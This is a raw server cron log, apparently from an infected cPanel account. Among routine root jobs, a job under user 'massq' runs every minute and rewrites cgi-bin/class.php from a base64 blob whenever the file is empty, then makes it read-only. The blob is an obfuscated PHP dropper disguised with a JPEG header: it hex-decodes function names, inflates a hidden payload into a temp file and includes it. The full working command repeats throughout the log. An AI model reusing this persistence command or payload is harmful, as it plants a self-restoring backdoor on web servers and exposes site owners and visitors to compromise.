Sep  9 22:14:01 server CROND[23795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:14:01 server CROND[23796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:15:01 server CROND[24177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:15:01 server CROND[24179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:15:01 server CROND[24181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:15:01 server CROND[24180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:15:01 server CROND[24184]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 22:15:01 server CROND[24186]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:15:01 server CROND[24183]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 22:15:01 server CROND[24185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:15:01 server CROND[24182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:16:01 server CROND[25007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:16:01 server CROND[25008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:16:01 server CROND[25009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:17:01 server CROND[25380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:17:01 server CROND[25381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:17:01 server CROND[25382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:18:01 server CROND[25759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:18:01 server CROND[25760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:18:01 server CROND[25761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:19:01 server CROND[26277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:19:01 server CROND[26278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:19:01 server CROND[26279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:20:01 server CROND[26653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:20:01 server CROND[26655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:20:01 server CROND[26657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:20:01 server CROND[26666]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:20:01 server CROND[26667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:20:01 server CROND[26668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:20:01 server CROND[26669]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:20:01 server CROND[26665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:20:01 server CROND[26670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:21:01 server CROND[27496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:21:01 server CROND[27497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:21:01 server CROND[27498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:22:01 server CROND[27871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:22:01 server CROND[27872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:22:01 server CROND[27873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:23:01 server CROND[28242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:23:01 server CROND[28243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:23:01 server CROND[28244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:24:01 server CROND[28703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:24:01 server CROND[28705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:24:01 server CROND[28704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:25:01 server CROND[29087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:25:01 server CROND[29089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:25:01 server CROND[29088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:25:01 server CROND[29097]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:25:01 server CROND[29099]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 22:25:01 server CROND[29098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
